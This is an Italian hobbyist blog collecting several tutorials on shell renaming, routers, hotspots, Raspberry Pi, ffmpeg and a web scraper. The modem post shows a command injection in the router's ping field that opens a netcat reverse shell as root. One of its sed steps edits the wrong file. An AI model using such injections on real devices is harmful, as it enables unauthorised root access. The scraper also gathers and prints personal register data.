Rinominare File in Bulk usando una combinazione di comandi: ls, sed e mv

Ultimamente ho avuto la necessita’ di rinominare una serie di file in bulk.

Tali files erano all’interno di una cartella, la quale veniva usata dal demone samba per la condivisione nella mia rete.

Il problema che avevo era dovuto al fatto che samba mal supporta i file con i nomi troppo lunghi e per tale motivo, se si accede da remoto alla cartella, vediamo una sequenza di caratteri “strani” invece del loro nome originale

Supponiamo di avere un file del genere nella cartella usata da samba

XDCC|OceaN|NewS|26.Trailer.Film22.MD.HDCAM.x264-iND.mkv
XDCC|OceaN|NewS-Time44|26.Trailer.Film1.MD.HDRIP.x264-iND.avi

La stessa cartella, quando vista da remoto da un client samba appariva con nomi diversi come:

XOSHQU~F.mkv
XCKQJB~8.avi

 

Lo script e’ davvero semplice, ed usa una combinazione di tre comandi shell:

  • ls -> usato per scorrere la lista dei files nella cartella
  • sed -> usato per il replace del nome
  • xargs and mv -> usato per il rename effettivo del file

 

[code language=”bash”]
ls *| sed -e ‘p;s/[a-z;A-Z]*|[a-z;A-Z]*|[a-z;A-Z]*\([a-z;A-Z]*\|-[a-z;A-Z]*\)|[0-9]*.//g’ | xargs -n2 mv
[/code]

Se lanciato il comando precede avremo rinominato i file nella seguente maniera

Trailer.Film22.MD.HDCAM.x264-iND.mkv
Trailer.Film1.MD.HDRIP.x264-iND.avi

Permettendo a samba di mostrarli ai client remoti senza gli strani caratteri che abbiamo visto in precedenza.

Riferimenti:
http://www.oreilly.com/openbook/samba/book/ch05_04.html

Hacking/Unlocking Technicolor DGA 4130

Premessa

Sono passati due anni dal mio ultimo post nel blog. Ora mi ritrovo con questo editor bianco, non più familiare come lo era una volta, ma con la stessa necessità che avevo quando ho iniziato questo blog: appuntarmi quello che facevo per poterlo ripetere in futuro.

Finalmente la Fibra è arrivata anche da me (ormai non ci speravo più) sfiorando addirittura la velocità dei 200Mbps (sono di poco al di sotto).

Il modem è quello “nero” della TIM

TIM Modem Fibra 200

Ovviamente il SW web a corredo del modem è assai limitato e permette una misera customizzazione del modem. Per la maggior parte delle persone non è un problema visto che meno cose si possono modificare e meno problemi si creano, ma se siete arrivati su questa pagina web… non fate parte di quella categoria.

Da subito ho sentito la necessità di instradare le connessioni verso le mie subnet locali tramite il modem TIM. Questo perchè il mio vecchio switch/router non è Gigabit… e non volevo limitare la connessione della mia sottorete ai solo 100 Mbps :P.

In attesa che arrivi il nuovo switch/router gigabit (https://mikrotik.com/product/RB750Gr3) volevo poter modificare il modem TIM secondo le mie esigenze: instradare i pacchetti dei client collegati al modem sulle mie subnet.

 

Hacking DGA 4130

 

Per fortuna la versione del modem che ho:

[code data-mce-type=”bookmark” style=”display: inline-block; width: 0px; overflow: hidden; line-height: 0;” language=”class=”]

Release: Aqua (16.3)
Version: 16.3.7636-2781008-20170411105953-718b590506a915e24be58946f4755c0c617d9c8d

[/code]

ha una grossa falla di sicurezza che permette di eseguire qualsiasi comando con privilegi di amministratore tramite l’interfaccia WEB.

Guadagnare accesso root

Come primo step ho mettere in ascolto il mio MAC sulla porta 10001

[code language=”bash”]

$ nc -l 10001

[/code]

oppure tramite una macchina Linux con il comando

# nc -lvvp 10001

 

Poi dal browser digitiamo l’indirizzo IP del modem ed andiamo nella sezione Diagnostica -> Ping&Trace

 

e nella shermata successiva inserire il seguente comando nella sezione IP Address

[code language=”bash”]

:::::::;nc 192.168.2.92 10001 -e /bin/sh

[/code]

 

e poi premere Invia Richiesta Ping.

A questo punto, se tutto è andato bene, abbiamo stabilito una connessione tra il modem e la macchina Linux/Mac (quella in cui ci eravamo messi in ascolto) e da cui possiamo eseguire qualsiasi comando come root

La prima cosa che ho fatto è stata quella di cambiare la password di root tramite il seguente comando

[code language=”bash”]

passwd
Changing password for root
New password:
Retype password:
Password for root changed by root

[/code]

 

Avvio demone dropbear

Ora che abbiamo accesso come root  e che abbiamo cambiato la password possiamo fare praticamente di tutto. Il secondo step è stato quello di abilitare il demone dropbear per poter avere sempre un accesso SSH al modem.

Dobbiamo modificare il seguente file /etc/config/dropbear

[code language=”bash”]

config dropbear
option enable ‘0’
option PasswordAuth ‘off’
option RootPasswordAuth ‘on’
option Port ’22’

[/code]

dalla shell Linux/MAC diamo i seguenti comandi

[code language=”bash”]

sed -i ‘2 s/0/1/’ /etc/config/dropbear
sed -i ‘3,4 s/off/on/g’ /etc/config/dropbear
[/code]

Altro non fanno che:

  1. Abilitare il demone dropbear all’avvio
  2. Permettere l’accesso da root tramite inserimento della password

Se le modifiche sono andate a buon fine, Il file dovrà essere uguale a quello che vi mostro qui sotto

[code language=”bash”]

root@modemtim:~# cat /etc/config/dropbear
config dropbear
option enable ‘1’
option PasswordAuth ‘on’
option RootPasswordAuth ‘on’
option Port ’22’
# option BannerFile ‘/etc/banner’

[/code]

Ora come ultimo step c’è quello di modificare il file /etc/password aggiungendo una valida command shell.

Il file prima della modifica si presenta così

[code language=”bash”]

root:x:0:0:root:/root:/bin/false
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
technician:x:550:550:technician:/home/technician:/usr/bin/restricted-clash
testuser:$5NQIlKgTj3rw:1000:65534:testuser:/tmp:/bin/ash
unicondor:$5NQIlKgTj3rw:1000:65534:unicondor:/tmp:/bin/sh

[/code]

La modifica consiste nello specificare /bin/ash come shell command e lo andiamo a fare con il seguente comando

[code language=”bash”]
sed -i ‘1 s/false/ash/’ /etc/config/dropbear
[/code]

Dopo la modifica avremo il file correttamente settato e pronti per accedere tramite ssh al nostro modem router TIM

[code language=”bash”]
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
technician:x:550:550:technician:/home/technician:/usr/bin/restricted-clash
testuser:$5NQIlKgTj3rw:1000:65534:testuser:/tmp:/bin/ash
unicondor:$5NQIlKgTj3rw:1000:65534:unicondor:/tmp:/bin/sh
[/code]

Arrivati a questo punto abbiamo finito, il modem è in ascolto sulla porta 22 e pronto per accettare connessioni SSH.

 

Modifica dell regole di route e del firewall

Tutto il lavoro fatto in precedenza era necessario per poter avere una shell bash e poi cercare di capire come poter modificare le regole del firewall per i miei scopi.

Avevo la necessità di far vedere le mie subnet dai client collegati direttamente al modem, per tale motivo ho dovuto aggiungere un paio di comandi al file /etc/rc.local  (lo so, non è il metodo più elegante per farlo)

[code language=”bash”]

root@modemtim:~# cat /etc/rc.local
route add -net 192.168.1.0/24 gateway 192.168.2.1
route add -net 192.168.10.0/24 gateway 192.168.2.1
route add -net 192.168.20.0/24 gateway 192.168.2.1
iptables -I FORWARD -i br-lan -j ACCEPT

[/code]

  1. Con il comando route add ho semplicemente detto al modem che per instradare i pacchetti verso le sottoreti 192.168.1.0-192.168.10.0-192.168.20.0 doveva farlo tramite il mio proxy server (192.168.2.1)
  2. Con Il comando iptables ho semplicemente permesso ai client del modem ti poter raggiungere le subnet senza essere bloccati

 

 

Reference:
https://www.ilpuntotecnicoeadsl.com/il-nuovo-router-tim-per-la-200-mega-il-technicolor-dga-4130-ag-evo/
https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/

Configurare un HotSpot con Mikrotik

wifi-hotspotmikrotik

Era da molto tempo che avevo in mente di configurare un Hotspot gratuito. La scelta e’ ricaduta su Mikrotik RouterOS grazie alle innumerevoli features che mette a disposizione (QOS avanzato, Advertisement, Traffic Shaping…)

Lo scopo dell’HotSpot era quello di non chiedere le credenziali di accesso per ogni utente collegato, ma utilizzare sempre lo stesso account

 

1 Set-Up Interfacce

La prima cosa da fare e’ quello si dividere togliere dal bridge locale l’interfaccia dove avremo il nostro HotSpot (interfaccia Wi-Fi nel mio caso).

Bridge -> Ports -> disabilitiamo l’interfaccia wlan1

Disabilitazione WiFi dal Bridge
Disabilitazione WiFi dal Bridge

 

A questo punto avremo due segmenti di rete differenti:

  • bridge-local -> su cui ci sono le le interfacce ethernet
  • wifi1 -> L’interfaccia Wi-Fi su cui avremo l’HotSpot.

 

Ora andiamo a configurare gli indirizzi IP per ognuna delle interfacce

IP -> Addresses

Interfacce e loro IP
Interfacce e loro IP

 

Nel mio ho ho la seguente configurazione:

  • wlan1 -> subnet 10.5.10.1/24   (Interfaccia HotSpot)
  • ether1-gateway -> 192.168.1.55/24  (Interfaccia WAN/gateway)
  • bridge-local -> 192.168.88.1/24 (Interfacce ethernet)

 

2) Set-Ip HotSpot

Ora non ci resta altro che effettuare la configurazione dell’HotSpot.

Mikrotik RuoterOS ci mette a disposizione una procedura

IP -> Hotspot -> HotSpot setup

La prima cosa che ci chiederà sarà l’interfaccia su cui girerà l’HotSpot

Selezioniamo l'interfaccia dell'HotSpot
Selezioniamo l’interfaccia dell’HotSpot

IP Address di tale interfaccia (stesso IP impostato nella parte di Set-Up dell’interfaccia)

La Subnet dell'Hotspot
La Subnet dell’Hotspot

Il pool di indirizzi che avranno i client dell’HotSpot

Il pool di indirizzi dell'HotSpot
Il pool di indirizzi dell’HotSpot
Non importiamo certificati
Non importiamo certificati

 

Indirizzo del server SMPT
Indirizzo del server SMPT

 

Server DNS locale
Server DNS locale

 

Alla fine avremo il riepilogo dell’HotSpot appena creato

 

Riepilogo HotSpot
Riepilogo HotSpot

Ora selezioniamo Server Profiles

Profilo dell'HotSpot
Profilo dell’HotSpot

In questo caso ho impostato un limiti in Upload e Download ed una cartella dei files HTML che verranno utilizzati per il Login (vedremo in seguito)

 

Passiamo alla sezione User Profiles

User Profiles
User Profiles

Nel mio caso ho usato due profili utente:

  • BarBelvedereFull -> nessuna restrizione in termini di banda
  • BarBelvedereLimit -> con restrizioni in termini di Download e Upload

 

Passiamo alla sezione Users

Users
Users

Dove ho l’utente:

  • freeuser -> associato al profile Limit (limiti download/upload)
  • admin -> senza limiti

 

Il passo successivo à impostare la pagina index.html di Login all’hostpost pre-impostando l’user “freeuser”

Screen Shot 2015-04-19 at 16.29.06

 

Parser Python per pagine HTML

Python Parser HTML
Python Parser HTML in azione

Dopo (tanti) anni di studio ed un lavoro (precario) credo sia arrivata finalmente l’ora di iscrivermi all’albo degli Ingegneri, ma prima di farlo ho cercato di fare una piccola statistica su quanti ingegneri c’erano nella mia provincia (Potenza) e a quale tipo di specializzazione appartenessero.

Purtroppo lo strumento di ricerca del sito ( http://www.ordingpz.it/albo/Albolist.asp ) mette a disposizione dell’utente poche opzioni di ricerca, per tale motivo ho rispolverato la cara e vecchia libreria python Beautiful Soup per scrivere un piccolo script python il quale mi aiutasse ad effettuare il parsing di più pagine HTML e tirasse fuori i dati che mi interessavano.

Il sito in questione (http://www.ordingpz.it) ha una pagina web per ogni ingegnere iscritto all’albo. Tale pagina contiene i vari dettagli dell’ utente, compreso il campi che a me interessavano: “Settore” e “Specializzazione“.

Al seguente link è possibile avere un esempio reale del dettaglio dell’utente (l’ingegnere non è stato scelto a casa, ma è un mio amico con cui ha avuto il piacere di lavorare assieme).

http://www.ordingpz.it/albo/Alboview.asp?N__ISCR_=2714

Dalla sintassi dell’URL si capisce che ad ogni account è associato un ID (N__ISCR_) numerico univoco.

Per tale motivo il primo passo è stato quello di capire come estrapolare questi ID per poi andare a processare ogni singola pagina.

La prima parte dello script serve proprio a questo, a tirare fuori tutti gli ID dal sito.

Get ID

import urllib2
from bs4 import BeautifulSoup
import sys

f = open(‘IngPZAll.txt’, ‘w’)

url = “http://www.ordingpz.it/albo/Albolist.asp?pageno=1&t=Albo&RecPerPage=3000”
print url

try:
data = urllib2.urlopen(url).read()
except:
print url

soup = BeautifulSoup(data)

n = soup.findAll(“td”,{“width”:”100″})

#print n
numIscr = []

for i in n:
numIscr.append(i.div.string)

A questo punto la lista numIscr contiene tutti gli ID dell’albo degli Ingegneri di Potenza, adesso non ci resta che accedere alle singole pagine degli user e memorizzare tutte le informazioni che ci servono.

Il ciclo for può esterno non va altro che prendere tutti gli ID contenuti in numIscr , accedere alla pagina dell’utente ad esso associato e tramite BeautifulSoup effettuare il parsing della pagina HTML per tirare fuori le informazioni.

Parse HTML

[sourcecode language=”python”]
for i in range(len(numIscr)):
url = “http://www.ordingpz.it/albo/Alboview.asp?N__ISCR_=”+str(numIscr[i])
f.write(url+”\n”)
print “Parsing “+ str(i) + ” of ” + str(len(numIscr))
print url

try:
data = urllib2.urlopen(url).read()
except:
print url

soup = BeautifulSoup(data)
#print soup.prettify()
n = soup.findAll(“td” , “ewTableHeader”)

fields = []

for i in n:
fields.append(i.string.encode(‘ascii’,’ignore’))

n = soup.findAll(“div”)

values = [];

#print n
count = 0;

for i in n:
count=count+1;
#print count
if(i.string != None and count > 19):
#print i.string
values.append(i.string.encode(‘ascii’,’ignore’))

for i in range(len(values)):
try:
f.write(str(fields[i]+ “: “+values[i]).encode(‘utf-8’)+”\n”)
except:
print fields[i]+ “: “+values[i]

f.write(“\n”)

f.close()
[/sourcecode]

Nella lista fields saranno elencati tutti i campo della tabella (Ex. Nome, Cognome, Specializzazione ecc) ed in quella values tutti i valori dei campi prima citati. Lo step successivo è quello di scrivere tutte queste informazioni in un unico file per poi poter fare tutte le nostre statistiche in maniera semplice ed immediata.

Il file IngPZAll.txt è output dello script, ed avrà al suo interno il dettaglio di tutti gli ingegneri iscritti all’albo.

Output Example

[sourcecode language=”text”]
..
..
..
http://www.ordingpz.it/albo/Alboview.asp?N__ISCR_=2714
N Iscrizione: 2714
Cognome: MONACO
Nome: Pierpaolo
Luogo di Nascita: Potenza
Data di Nascita:
C.F.:
Indirizzo:
CAP:
Citt:
Provincia: PZ
Sezione: A
Settore: Civile ed Ambientale, Industriale, Dell’Informazione
N Iscrizione: 2714
Data Iscrizione: 04/01/2012
Specializzazione: Informatica
Sede Laurea: Roma
Data Laurea: 21/03/2011
Sede Abilitazione: Roma
Anno Abilitazione: 2011
Ordine di Provenienza: Potenza
Data Prima Iscrizione: 04/01/2012
..
..
[/sourcecode]

Ora con una semplice comando bash posso facilmente capire ciò che volevo…

[sourcecode language=”bash”]
unicondor@iMac:> grep -c “Specializzazione: Informatica” IngPZAll.txt
19
[/sourcecode]

Ecco l’informazione che cercavo, su 2506 iscritti all’albo solo 19 hanno come specializzazione Informatica 😀

Attach:

alboIngPzParser.py

IngPZAll.txt

GitHub Project:

https://github.com/flaviopace/SimplePythonHTMLParser

P.s. tutti i dati che trovate in questo articolo solo liberamente disponibili sul sito dell’albo degli Ingegneri di Potenza

Raspberry Pi: assembly ARM power-on/off LED

Ancora devo abituarmi all’idea di poter passare una domenica senza toccare un libro universitario. Quante ne ho passate cercando disperatamente di memorizzare e ripassare (in realtà rare volte sono arrivato alla fase di ripasso 😛 ) qualche argomento per gli esami sempre troppo vicini.

Era arrivata l’ora di riempire un pò questo blog, un blog nato come passatempo serale… e che ho lasciato nel dimenticatoio per troppo tempo.

Quale miglior argomento di un pò di codice assembly ARM e GPIO per ricominciare??

Raspberry Pi LED

Lo scopo è quello riuscire ad accendere e spegnere un misero led (OK or ACT led per le specifiche Raspberry) collegato al 16esimo pin GPIO (pdf to ARM peripherals) tramite codice scritto direttamente in assembly.

1) Download e Settings ARM Toolchain

La prima cosa da fare è installare una toolchain di sviluppo per processori ARM. Se non volere compilarvi gcc a “manella” potete utilizzare questa toolchain pronta per l’uso ( disponibile per Windows/Linux/MacOS): YAGARTO

Una volta scaricato ed aperto il .dmg, vi chiederà di spostare il file .app in una cartella ed eseguirlo in modo tale da copiare i file binari di gcc in essa.

[sourcecode language=”bash”]unicondor@iMac:yagarto-4.7.2> ls
Binutils.webloc COPYING.LIBGLOSS COPYING3.LIB GNU.webloc arm-none-eabi lib source.txtCOPYING COPYING.NEWLIB GCC.webloc Newlib.webloc bin libexec tools
COPYING.LIB COPYING3 GDB.webloc YAGARTO.webloc include share version.txt
[/sourcecode]

Ora non ci resta altro che includere il percorso di tale cartella nella variabile locale relativo ai vari PATH della nostra shell.

[sourcecode language=”bash”]
unicondor@iMac:yagarto-4.7.2> export PATH=$PATH:$PWD/bin
[/sourcecode]

Se tutto è andato nel verso giusto avrete un output del genere, dove la variabile $PATH conterrà anche il path ai binari di gcc per ARM.

[sourcecode language=”bash”]
unicondor@iMac:yagarto-4.7.2> echo $PATH
/Library/Frameworks/Python.framework/Versions/2.7/bin:/opt/local/bin:/opt/local/sbin:/opt/local/bin:/opt/local/sbin:/opt/local/bin:/opt/local/sbin:/Library/Frameworks/Python.framework/Versions/2.7/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin:<strong>/Users/unicondor/Documents/Arm_toolchain/yagarto-4.7.2/bin</strong>
[/sourcecode]

2) Download template sviluppo

Per facilitarci ancora di più il compito possiamo procurarci questo template. Composto da una serie di files (sotto elencati) che ci aiuteranno nella compilazione dei nostri sorgenti

[sourcecode language=”text”]
source/
main.s
kernel.ld
LICENSE
Makefile
[/sourcecode]

Dove:
main.s sarà il nostro file sorgenti scritto direttamente in assembly ARM
kernel.ld è usato dal linker per mappare correttamente le zone di memoria (qualche interessante articolo si potrebbe scrivere su questo file)
Makefile spero non ci sia bisogno di spiegazioni 😛

3) Main.s

Ecco il file più importante, il file sorgente scritto direttamente in ARM assembly

[sourcecode language=”bash”]

/*
* .section is a directive to our assembler telling it to place this code first.
* .globl is a directive to our assembler, that tells it to export this symbol
* to the elf file. Convention dictates that the symbol _start is used for the
* entry point, so this all has the net effect of setting the entry point here.
* Ultimately, this is useless as the elf itself is not used in the final
* result, and so the entry point really doesn’t matter, but it aids clarity,
* allows simulators to run the elf, and also stops us getting a linker warning
* about having no entry point.
*/
.section .init
.globl _start
_start:

/*
* This command loads the physical address of the GPIO region into r0.
*/
ldr r0,=0x20200000

/*
* Our register use is as follows:
* r0=0x20200000 the address of the GPIO region.
* r1=0x00040000 a number with bits 18-20 set to 001 to put into the GPIO
* function select to enable output to GPIO 16.
* then
* r1=0x00010000 a number with bit 16 high, so we can communicate with GPIO 16.
*/
mov r1,#1
lsl r1,#18

/*
* Set the GPIO function select.
*/
str r1,[r0,#4]

/*
* Set the 16th bit of r1.
*/
mov r1,#1
lsl r1,#16

/*
* Set GPIO 16 to low, causing the LED to turn on.
*/
str r1,[r0,#40]

/*
* Loop over this forevermore
*/
loop$:
b loop$
[/sourcecode]

Nella sezione references trovate altri esempi da cui questo è stato preso. E’ molto semplice ed intuitivo da capire, inoltre è anche ben commentato per cui posso evitare di spiegare cosa fa 😀

Non dobbiamo fare altro che aggiungere il main.s nella cartella source del template prima scaricato e lanciare la compilazione. Infine avremo il nostro bel kernel.img da poter inserire nella nostra scheda SD e rimpiazzarlo con quello ufficiale di Raspian.

Se tutto e’ andato nel verso giusto, appena inserita l’alimentazione al nostro raspberry si accendera’ il LED ACT…. forse 😛

References

http://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/index.html

GitHub

https://github.com/flaviopace/ARM_Assembly_PowerOff-PowerOn_led

Creazione Video Da Sequenza di Immagini Timelapse

Già mi ero cimentato qualche volta con la creazione di un video tramite sequenza di immagini timelapse, usando dei tool che in automatico mi creavano il flusso video da una sequenza di immagini.

Questa volta, da buon smanettone :P, ho voluto utilizzare solo la potenza della shell di Linux e strumenti OpenSource come ffmpeg.

L’hardware a disposizione non è stato uno dei migliori. Ho dovuto utilizzare il mio vecchio Asus EeePC 701 dotato di una misera telecamera da  640×480 px … e tanta pazienza :D.

1) Cattura Immagini Timelapse

Per la cattura delle immagini dalla videocamera ho usato il tool sviluppato da Ubuntu: cheese  e l’utility scrot per quanto riguarda la cattura delle immagine tramite screenshot.

Il mio script non fa altro che lanciare cheese in background a tutto schermo e catturare le immagini ogni 5 sec via scrot. So che esistono molti altri metodi per catturare le immagini direttamente dalla fotocamera senza effettuare lo screenshot, ma nel mio caso avevo bisogno di mostrare anche al pubblico le immagini che stavo riprendendo.

[sourcecode language=”bash”]
#!/bin/sh

/usr/bin/cheese &

while true
do
scrot /media/photo/’%H%M%S.png’
sleep 5
done

[/sourcecode]

2) Creazione Flusso Video

Se tutto è andato nel verso giusto avremo le nostre .png pronte per essere unite tra loro per creare il flusso video vero e proprio. FFMPEG è proprio il tool che fa a caso nostro, infatti basta dare questo piccolissimo comando per avere il video finale.

[sourcecode language=”bash”]
$ ./ffmpeg -i ../media/photo/%*.png -r 15 -vb 4096k out.mp4
[/sourcecode]

Dove:

  •  -i ../media/photo/%*.png  indica la sorgente (nel nostro caso le immagini) da cui assemblare il video
  •  -r 15 indica il frame rate che vogliamo utilizzare
  • -vb 4096k  indica il birate da utilizzare

Nel caso volessimo aggiungere anche una base musicale (non guasta mai) basta inserire un altro piccolo flag:

[sourcecode language=”bash”]
$./ffmpeg -i out.mp4 -i my_music.mp3 -vcodec codec -acodec codec output_video_with_music.avi -newaudio
[/sourcecode]

Questo è il mio timelapse effettuato durante la Sagra del Pecorino di Filiano 2013. Buona visione!

Raspberry PI: Sensore di Temperatura ed Umidità

Raspberry PI DHT11
Raspberry Pi e DHT11 Sensore

15 agosto e la sera esco con camicia e felpa, quale miglior giorno per provare il mio nuovo sensore di temperatura ed umidità tramite il Raspberry Pi ? 😛

il Sensore in questione (DHT11) è uno di quelli “cinesi” che si trovano a pochi euro in qualsiasi negozio online. Ha un range di misurazione della temperatura tra 0-50°C & un range di umidità tra 20-95%.

Online si trovano miriadi di link su come collegarlo al nostro Raspberry Pi, La foto allegata all’inizio del post vi mostra il mio schema…

Bhe ammetto che si capisce molto poco, forse meglio utilizzarne uno preso dal web 😀

Sensor dht11 wiring
Schema collegamento DHT11
DHT11_Pins
Dettaglio Pins DHT11

Una volta collegato il nostro sensore al Raspberry PI (io uso il connettore Adafruit ) non vi resta che scaricare le librerie per l’interfacciamento con il sensore

[sourcecode language=”bash”]

$ git clone git://github.com/adafruit/Adafruit-Raspberry-Pi-Python-Code.git
$ cd Adafruit-Raspberry-Pi-Python-Code
$ cd Adafruit_DHT_Driver

[/sourcecode]

Bene, una volta scaricato il binario ( già compilato per il nostro processore) possiamo eseguirlo direttamente dalla shell dei comandi

[sourcecode language=”bash”]
root@raspberrypi: ./Adafruit_DHT 11 4
Using pin #4
Data (40): 0x24 0x0 0x1c 0x0 0x40
Temp = 28 *C, Hum = 36 %
[/sourcecode]

Dove “11” indica il modello del sensore, ed il “4” indica il PIN GPIO a cui è collegato.

Non sarebbe bello avere un grafico con l’andamento della temperatura ed accessibile ovunque tramite web??

Esistono molto modi (e molte API) per esportare i dati sul web, io ho utilizzato le API che google docs mette a disposizione.

1) Creazione Spreadsheet

Prima di tutto andiamo su google docs e creiamo il nostro spreadsheet dove andremo ad inserire i nostri dati

Creazione spreadsheet
Creazione spreadsheet

1) Installazione Ed esecuzione della libreria Python

Per poter fare upload dei dati presi dal sensore, possiamo utilizzare una libreria che ci semplifica di molto le operazioni per l’interfacciamento con google. La libreria in questione si chiama GSpread

[sourcecode language=”bash”]
wget http://pypi.python.org/packages/source/g/gspread/gspread-0.0.13.tar.gz#md5=d413ad08805f3f0a1e9d5f9bebe5d35b
tar -zxvf gspread-0.0.13.tar.gz
cd gspread-0.0.13
sudo python setup.py install
[/sourcecode]

Una volta installata dobbiamo modificare alcuni opzioni: andiamo nella directory Adafruit-Raspberry-Pi-Python-Code/Adafruit_DHT_Driver ed editiamo il file Adafruit_DHT_googledocs.ex.py nei seguenti punti:

[sourcecode language=”python”]
# ===========================================================================
# Google Account Details
# ===========================================================================

# Account details for google docs
email = ‘you@somewhere.com’
password = ‘my_password’
spreadsheet = ‘Temperature_Flavio_Home’
..
..
..
output = subprocess.check_output(["./Adafruit_DHT", "11", "4"]);

[/sourcecode]

Inserendo rispettivamente i dati del nostro account di google, il modello del nostro sensore (DHT11 nel mio caso) ed il pin a cui è collegato (4)

Se tutto è andato nel verso giusto avremo come output della shell

[sourcecode language=”python”]
pi@raspberrypi ~/Adafruit-Raspberry-Pi-Python-Code/Adafruit_DHT_Driver $ sudo python Adafruit_DHT_googledocs.ex.py
Using pin #4
Data (40): 0x25 0x0 0x1a 0x0 0x3f
Temp = 26 *C, Hum = 37 %

Temperature: 26.0 C
Humidity: 37.0 %
Wrote a row to Temperature_Flavio_Home
Using pin #4
Data (40): 0x25 0x0 0x1a 0x0 0x3f
Temp = 26 *C, Hum = 37 %

Temperature: 26.0 C
Humidity: 37.0 %
Wrote a row to Temperature_Flavio_Home
Using pin #4
Data (40): 0x24 0x0 0x1a 0x0 0x3e
Temp = 26 *C, Hum = 36 %
[/sourcecode]

Mentre se apriamo il nostro spreadsheet vedremo in real-time i valori letti dal nostro Raspberry Pi 😀

Questo è il grafico della mia stanza…

https://docs.google.com/spreadsheet/ccc?key=0AvfMfLVFJ7CPdHlNVzlzNmNNM01JMGZTTlA4bGl2WkE&usp=sharing

graph temperature Dragonetti
graph temperature Dragonetti

WiFi HotSpot e Captiva Portal tramite pfsense

caffedelcorso

Dovrei studiare per l’esame di stato ma, ogni giorno, trovo sempre qualcosa di piu’ interessante da fare.

Era da un po’ di tempo che avevo in mente l’idea di creare degli HotSpot WiFi Free per l’accesso gratuito ad Internet per i clienti di:  Caffe del Corso e Bar Belvedere (permettetemi un po’ di pubblicita’ 😛 ).

Dopo aver girovagato un po’ su internet sulle varie soluzioni da poter utilizzare, alla fine il suggerimento migliore (come sempre accade) e’ stato quello del mio mentore Franco 😀

Utilizzare pfsense come Captive Portal e’ davvero semplice ed intuitivo. Ci ho perso solo 2 gg 😛 , ma questo mi ha permesso di avere degli accessi controllati sia in termini di banda (download/upload) sia in termini di tempo (minuti per ogni connessione).

Ho usato una macchina virtuale tramite Virtualbox per far girare pfsense (Attenzione, quando create la macchina virtuale scegliete BSD e non Linux altrimenti non vi vede le interfacce di rete ). Di seguito vi mostro i passi da seguire per un corretto settaggio delle interfacce di rete e del Captive Portal.

Per l’installazione di pfsense su macchine virtuali trovate un sacco di tutorial su google, io ho scaricato direttamente la .iso image del LiveCD montata all’avvio e poi ho provvedo alla sua installazione sull’hard disk virtuale.

Premetto che da buon utilizzare di Slackware, ho utilizzato l’interfaccia testuale e non quella grafica. Il risultato finale è lo stesso, una volta capito cosa fare potete impostare i miei stessi parametri utilizzando la comoda interfaccia web che pfsense ci mette a disposizione.

Appena finita l’installazione di pfsense, ho settato la prima interfaccia virtuale in bridge mode con la mia interfaccia fisica WAN, e la seconda interfaccia virtuale in bridge mode con la mia ethernet che fungera’ da LAN interna per l’HotSpot.

ether_em0
Wan Interface
ether_em1
LAN Interface

1) Riepilogo Interfacce e Creazione VLANs

Al primo avvio di pfsense avremo il riepilogo delle interfacce che abbiamo a disposizione, rispettivamente: em0 ed em1 (quelle settate nelle figure precedenti), e la richiesta di creare delle interfacce vortuali all’interno di pfsense. Per ora scriviamo “n”, possiamo abilitare le interfacce viartuali in un secondo momento.

Leggi tutto “WiFi HotSpot e Captiva Portal tramite pfsense”

STM32F3Discovery + ChibiOS/RT + Fortune Wheel

STM32f3discovery

I problemi erano gia’ parecchi prima di iniziare la tesi, ma ora credo di aver passato ogni limite. Non posso passare le nottate appresso ad una board con 48K di RAM, 256KB di Flash ed un processore ARM Cortex-M a 78 Mhz preso da una insana, quanto assurda, smania verso ogni tipo di controllore per montarci su un RTOS 😛

La board in questione mi e’ stata gentilmente concessa dal mio Professore, per giunta lo stesso professore relatore della mia tesi. Per tale motivo, credo di aver una scusa decente per essere un po’ in ritardo nella stesura  :P.

Il programma di esempio su cui mi sono cimentato utilizza un RTOS ( ChibiOS/RT ) e la sua toolchain (davvero semplicissima da usare grazie alla sua integrazione con Eclipse) usata per compilare il file oggetto e caricarlo direttamente in flash.

Una passeggiata rispetto a quello fatto per il porting di ThreadX su un microcontrollore ARC-based, ma questo (forse) sara’ un articolo che cerchero’ di scrivere un po’ piu’ il la… sempre che il lavoro svolto sia sufficientemente decente.

Ritornando all’applicazione, e’ davvero un programmino semplice che emula il comportamento del famoso gioco della fortune wheel (non sono sicuro del nome 😛 ) ed e’ composto da tre threads:

  • main
  • thread1
  • thread2

Dove il main si occupara di gestire un interrupt che gli arriva quando premiamo il pulsante USER; thread1 non e’ altro che un semplice ciclo while che accende e spegne, in maniera circolare, gli 8 LED;  il thread2 che si occupa di verificare se nell’attimo in cui e’ stato premuto il pulsante USER la luce del LED rosso era accesa…. vabbe’ e’ piu’ semplice a farsi che a dirsi.

[sourcecode language=”C”]
#include "ch.h"
#include "hal.h"
#include "test.h"

static int check=0;

/*
* This is a periodic thread that does absolutely nothing except flashing LEDs.
*/
static WORKING_AREA(waThread1, 128);
static msg_t Thread1(void *arg) {

(void)arg;
chRegSetThreadName("blinker");
int i=0;
int ledTime[10]={215,260,220,600,40,20,10,5,15,25};
while (TRUE) {

/* pseudo random generator */
if(i%9 ==0)
i=0;
palSetPad(GPIOE, GPIOE_LED3_RED);
check=1;
chThdSleepMilliseconds(ledTime[i]);
i++;
palClearPad(GPIOE, GPIOE_LED3_RED);
check=0;
palSetPad(GPIOE, GPIOE_LED5_ORANGE);
chThdSleepMilliseconds(125);
palClearPad(GPIOE, GPIOE_LED5_ORANGE);
palSetPad(GPIOE, GPIOE_LED7_GREEN);
chThdSleepMilliseconds(125);
palClearPad(GPIOE, GPIOE_LED7_GREEN);
palSetPad(GPIOE, GPIOE_LED9_BLUE);
chThdSleepMilliseconds(125);
palClearPad(GPIOE, GPIOE_LED9_BLUE);
palSetPad(GPIOE, GPIOE_LED10_RED);
chThdSleepMilliseconds(125);
palClearPad(GPIOE, GPIOE_LED10_RED);
palSetPad(GPIOE, GPIOE_LED8_ORANGE);
chThdSleepMilliseconds(125);
